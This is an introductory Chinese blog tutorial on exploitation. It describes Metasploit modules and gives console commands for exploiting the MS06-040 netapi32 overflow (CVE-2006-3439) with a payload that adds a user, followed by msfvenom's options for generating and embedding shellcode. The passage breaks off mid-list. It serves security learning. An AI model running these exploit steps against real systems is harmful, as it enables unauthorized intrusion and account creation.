漏洞利用原理(初级)

本文介绍了漏洞利用的基础知识,包括MSF(Metasploit Framework)的模块介绍,如何利用MSF入侵Windows系统,制作shellcode,扫描跳板,以及学习了Ruby语言的基本概念,如变量、字符串操作、数组和Hash表,还展示了简单的Exploit开发过程。
摘要由CSDN通过智能技术生成

MSF简介

MSF模块:

  • exploit:已公布漏洞的触发信息
  • auxiliary:额外的插件程序,如网络欺骗工具、DOS工具、Sniffer工具等
  • payload:相关的shellcode
  • encoder:编码算法
  • nop:“准nop”填充数据生成器

使用MSF进行安全测试的过程,就是这些模块的组装与配置过程。

入侵Windows系统

这里我们以CVE-2006-3439为例

漏洞介绍

Windows系统的动态链接文件netapi32.dll中的第317个导出函数NetpwPathCanon-icalize()对于字符串参数的处理存在典型的栈溢出,并可以通过RPC的方法被远程调用

图像界面的漏洞测试

  • 启动MetaSploit Web
    msfdb init
    armitage
  • 在exploits中查找“netapi32”,选择“Microsoft Server Service NetpwPath-Canonicalize overflow”
  • 选择合适的Target
  • 选择合适的shellcode,并设置恰当的值

Console界面的漏洞测试

  • show exploits
  • use windows/smb/ms06_040_netapi
  • show targets
  • set target 0
  • show payloads
  • set payload windows/adduser
  • show options
  • set RHOST 192.168.88.137(目标主机)
  • set PASS 123456
  • set USER failwest
  • exploit

利用MSF制作shellcode

  • 列出相关的payloads
    msfvenom -l payloads
  • 创建新的shellcode,显示相关参数
    msfvenom -p windows/x64/exec --list-options
  • 设置相关参数
Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads 
    # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
        --payload-options            List the payload's standard options 
    # 列出指定 Payload 的标准可选配置项
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all 
    # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload 
    # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
    -f, --format        <format>     Output format (use --help-formats for a list) 
    # 指定 Payload 的输出格式
        --help-formats               List available formats 
    # 列出所有可用的输出格式
    -e, --encoder       <encoder>    The encoder to use 
    # 指定使用的 Encoder
    -a, --arch          <arch>       The architecture to use 
    # 指定目标系统架构
        --platform      <platform>   The platform of the payload 
    # 指定目标系统平台
        --help-platforms             List available platforms 
    # 列出可用的平台
    -s, --space         <length>     The maximum size of the resulting payload 
    # 设置未经编码的 Payload 的最大长度
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) 
    # 编码后的 Payload 的最大长度
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff' 
    # 设置需要在 Payload 中避免出现的字符
    -i, --iterations    <count>      The number of times to encode the payload 
    # 设置 Payload 的编码次数
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include 
    # 指定包含一个额外的win32 shellcode文件
    -x, --template      <path>       Specify a custom executable file to use as a template 
    # 指定一个特定的可执行文件作为模板
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread 
    # 保护模板程序的功能,注入的payload作为一个新的进程运行
    -o, --out           <path>       Save the payload 
    # 保存 Payload 到文件
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats 
    # 指定一个变量名
    #(
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值